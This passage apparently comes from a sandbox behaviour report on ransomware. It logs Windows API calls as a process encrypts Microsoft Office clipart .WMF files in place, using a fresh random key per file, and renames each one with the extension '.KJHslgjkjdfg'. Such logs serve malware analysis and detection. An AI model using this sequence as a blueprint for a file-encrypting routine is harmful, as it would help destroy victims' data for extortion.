CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.333] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.333] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9456, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9456, lpOverlapped=0x0) returned 1 [0158.335] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9460, dwBufLen=0x9460 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9460) returned 1 [0158.335] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.335] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9460, lpOverlapped=0x0) returned 1 [0158.336] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.336] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.336] SetEndOfFile (hFile=0x114) returned 1 [0158.338] GetProcessHeap () returned 0x2a0000 [0158.339] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.339] GetProcessHeap () returned 0x2a0000 [0158.339] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.339] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.kjhslgjkjdfg")) returned 1 [0158.340] CloseHandle (hObject=0x114) returned 1 [0158.340] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8572f00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8572f00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1 [0158.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.340] GetProcessHeap () returned 0x2a0000 [0158.340] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.341] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.341] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.341] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0158.343] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.343] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.343] GetProcessHeap () returned 0x2a0000 [0158.343] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.343] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.343] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.343] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.343] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.343] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.343] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.343] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.343] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.343] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.343] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.343] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.344] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9c5e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9c5e, lpOverlapped=0x0) returned 1 [0158.344] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9c60, dwBufLen=0x9c60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9c60) returned 1 [0158.345] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.345] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9c60, lpOverlapped=0x0) returned 1 [0158.345] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.345] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.346] SetEndOfFile (hFile=0x114) returned 1 [0158.348] GetProcessHeap () returned 0x2a0000 [0158.348] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.348] GetProcessHeap () returned 0x2a0000 [0158.348] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.348] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.kjhslgjkjdfg")) returned 1 [0158.349] CloseHandle (hObject=0x114) returned 1 [0158.349] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d8c4300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d8c4300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1 [0158.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.351] GetProcessHeap () returned 0x2a0000 [0158.351] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.351] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.351] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.351] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.353] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.353] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.353] GetProcessHeap () returned 0x2a0000 [0158.353] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.354] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.354] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.354] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.354] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.354] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.354] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.354] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.354] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.354] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.354] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.354] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.354] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x318, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x318, lpOverlapped=0x0) returned 1 [0158.354] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x320, dwBufLen=0x320 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x320) returned 1 [0158.354] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.354] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x320, lpOverlapped=0x0) returned 1 [0158.355] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.355] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.355] SetEndOfFile (hFile=0x114) returned 1 [0158.357] GetProcessHeap () returned 0x2a0000 [0158.357] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.357] GetProcessHeap () returned 0x2a0000 [0158.357] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.357] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.kjhslgjkjdfg")) returned 1 [0158.358] CloseHandle (hObject=0x114) returned 1 [0158.358] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1 [0158.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.359] GetProcessHeap () returned 0x2a0000 [0158.359] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.359] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.359] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.359] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.359] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.359] GetProcessHeap () returned 0x2a0000 [0158.359] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.359] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.359] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.359] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.361] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.361] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.362] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.362] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.362] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.362] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.362] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.362] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.362] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x44b0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x44b0, lpOverlapped=0x0) returned 1 [0158.363] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x44b0, dwBufLen=0x44b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x44b0) returned 1 [0158.363] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.363] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x44b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x44b0, lpOverlapped=0x0) returned 1 [0158.364] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.364] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.364] SetEndOfFile (hFile=0x114) returned 1 [0158.366] GetProcessHeap () returned 0x2a0000 [0158.366] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.366] GetProcessHeap () returned 0x2a0000 [0158.366] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.366] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.kjhslgjkjdfg")) returned 1 [0158.368] CloseHandle (hObject=0x114) returned 1 [0158.369] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1 [0158.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.371] GetProcessHeap () returned 0x2a0000 [0158.371] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.371] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.371] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.371] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.373] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.373] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.373] GetProcessHeap () returned 0x2a0000 [0158.373] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.373] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.373] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.373] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.373] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.373] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.374] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.374] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.374] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.374] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.374] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.374] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.374] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1e94, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1e94, lpOverlapped=0x0) returned 1 [0158.375] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ea0, dwBufLen=0x1ea0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ea0) returned 1 [0158.375] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.375] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1ea0, lpOverlapped=0x0) returned 1 [0158.375] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.375] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.375] SetEndOfFile (hFile=0x114) returned 1 [0158.378] GetProcessHeap () returned 0x2a0000 [0158.378] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.378] GetProcessHeap () returned 0x2a0000 [0158.378] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, 